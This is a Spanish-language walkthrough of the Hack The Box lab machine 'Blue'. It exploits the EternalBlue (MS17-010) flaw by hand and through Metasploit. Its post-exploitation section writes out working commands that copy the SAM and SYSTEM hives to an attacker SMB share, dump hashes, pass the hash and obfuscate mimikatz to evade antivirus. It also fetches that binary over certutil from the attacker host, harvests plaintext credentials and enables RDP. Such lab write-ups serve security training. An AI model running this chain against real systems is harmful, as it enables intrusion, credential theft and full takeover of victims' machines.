HTB Blue
Descripción
Esta maquina explotara la vulnerabilidad MS17-010 a través del exploit de Eternal Blue, la explotación se hará tanto de manera manual como automática a través de Metasploit.
EternalBlue es una vulnerabilidad informática que afecta a sistemas Windows, utilizada en el ataque de ransomware WannaCry en 2017. Creada originalmente por la Agencia de Seguridad Nacional de los Estados Unidos (NSA), esta vulnerabilidad fue filtrada públicamente por el grupo de hackers The Shadow Brokers. Permitió a los hackers ejecutar código malicioso de forma remota en sistemas no actualizados, resaltando la importancia de mantener actualizados los sistemas operativos y aplicar parches de seguridad. Su impacto demostró la necesidad crítica de la seguridad cibernética en el mundo digital actual.
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo a través del script implementado en bash whichSystem.sh
El sistema operativo es una Windows
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap. Comando: sudo nmap -p- --open -sS -T4 -vvv -n -Pn 192.168.1.20 -oG allPorts
Puertos abiertos son: 135,139,445,49152,49153,49154,49155,49156,49157
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados.
Comando: nmap -sCV -p80,3306,33060 192.168.1.20 -oN targeted
Obteniendo:
Donde se visualiza que el puerto 445
correspondientes al protocolo SMB
está abierto y corresponde a un Windows 7
, muy posiblemente vulnerable.
Se procede a escanear este puerto atreves de scripts de vulnerabilidades SMB.
Se obtiene que es vulnerable para la vulnerabilidad ms17-010 que se puede explotar a través del Eternal Blue.
Explotación
Manual AutoBlue
Se realizará de forma manual a través de un script de github: https://github.com/3ndG4me/AutoBlue-MS17-010
Se clona el repositorio y lo primero será comprobar que es el vulnerable a través del script: eternal_checker.py
Nos dirigimos a la carpeta shellcode, para crear el <shellcode_file
> que es necesario para el script de eternalblue_exploit7.py
.
Ejecutamos el script y debemos ingresar la IP Atacante y el Puerto donde queremos recibir la reverse shell, en mi caso el puerto 80
Volvemos a la carpeta principal del AutoBlue
y procedemos a realizar la explotación, brindado la IP víctima y el sc_x64.bin
que acabamos de crear en el paso anterior. En otra ventana estaremos en escucha en el puerto 80 a través de Netcat que es el que recibirá la revershell.
Obtención de la reverse shell
Se procede a comprobar la shell obtenida:
Nos encontramos en la máquina víctima con privilegios root.
Enumeramos las flags, dirigiéndonos a la ruta \Users
y a través del comando:
dir /s user.txt
Manual Worawit
Utilizando https://github.com/worawit/MS17-010
Primero utilizar el archivo checker.py
En acaso de obtener un STATUS_ACCESS_DENIED
es necesario editar el checker.py
y colocar un usuario guest
Corriendo nuevamente el checker.py
Editando el archivo zzz_exploit.py
Comentando las siguientes lineas
Des comentando la línea 982
y editándola como sigue:
En nuestra máquina atacante, utilizaremos impacket-server
para compartir una carpeta que contendrá el binario de nc
. Con el comando previamente editado, lograremos que la máquina víctima nos envíe una consola a nuestra máquina atacante. Utilizando https://eternallybored.org/misc/netcat/
El binario que debemos transferir a nuestra máquina víctima es el nc64.exe
Copiando el binario al directorio actual de trabajo y renombrándolo
Crear un recurso compartido a través de impacket-server
y poniéndonos en escucha a través de nc
y ejecutando el exploit zzz.py
con python2.7
pasándole el nombre de un named pipes
Obteniendo:
Técnicas de Post-Explotación
Obtener hashes usuarios del sistema
Obteniendo una copia de los archivos system
y sam
1
2
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup
Obteniendo:
Transfiriendo estos archivos a nuestra máquina atacante a través de impacket-server
1
2
3
#Copiar Windows -> Linux
copy sam.backup \\10.10.14.13\smbFolder\sam
copy system.backup \\10.10.14.13\smbFolder\system
Obteniendo:
Utilizando impacket-secretsdump
vamos a obtener los hashes:
1
impacket-secretsdump -sam sam -system system LOCAL
Obteniendo:
Estos hashes nos servirían para realizar Pass the hash
Pass the hash
Una vez encontrando los hashes de los usuarios se van a validar a través de nxc
1
nxc smb 10.10.10.40 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc'
Dumpear LSA
1
nxc smb 10.10.10.40 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc' --lsa
Conectarnos a la máquina víctima a través de impacket-psexec
1
impacket-psexec WORKGROUP/Administrator@10.10.10.40 -hashes :cdf51b162460b7d5bc898f493751a0cc
Subir mimikatz.exe
- ebowla
manual
Localizar el binario de mimikatz.exe
Ebowla
Se va a utilizar ebowla para ofuscar el código del binario de mimikatz
Utilizando https://github.com/Genetic-Malware/Ebowla
Moviendo el binario mimikatz.exe
al directorio de Ebowla
Editando el archivo genetic.config
Editando las variables:
1
2
3
output_type = GO
payload_tpye = EXE
Editando las variables de entorno:
Obteniendo el valor de las variables de entorno desde la máquina Windows:
Ejecutamos el ebowla
1
python2 ebowla.py mimikatz.exe genetic.config
Esto habrá creado un script en go
con el cual crearemos un compilado final
Creando binario final
1
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe
Obteniendo:
Renombrando el archivo a tensada.exe
En nuestra máquina atacante levantamos un servidor con Python para trasnferir el binario
Transfiriendo el archivo a la máquina víctima a través de certutil.exe
1
certutil.exe -f -urlcache -split http://10.10.14.13/tensada.exe
Ejecutando:
Mimikatz
Realizando:
1
privilege::debug
Haciendo
1
sekurlsa::logonPasswords
1
2
3
* Username : Administrator
* Domain : haris-PC
* Password : ejfnIWWDojfWEKM
Validando credencial
Habilitar RDP - escritorio remoto
Se procede a verificar si el puerto 3389 se encuentra abierto y se comprueba que está cerrado a través de nxc
lo habilitaremos
1
nxc smb 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM' -M rdp -o action=enable
Habilitar RDP desde el cmd
1
2
# Enable RDP from cmd.exe
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Verificando a traves de nmap
Conectar escritorio remoto
1
rdesktop 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM'
Obteniendo:
Metasploit
Ejecutamos metasploit en modo silencioso
Buscamos por MS17-010
Se observa que hay varios exploits y un scanner, primeramente ocuparemos el scanner para corroborar que es vulnerable.
Configuramos la IP objetiva
Corremos el exploit y se verifica que es vulnerable
Ahora estaremos ocupando el exploit: exploit/windows/smb/ms17_010_eternalblue
Configuramos la IP objetiva y nuestra IP atacante, en este ejemplo se estará trabajando con una consola meterpreter, en caso de querer otra la podemos cambiar en la opción de “Payload”
Ejecutamos el exploit
Habremos ganado una consola meterpreter con privilegios de root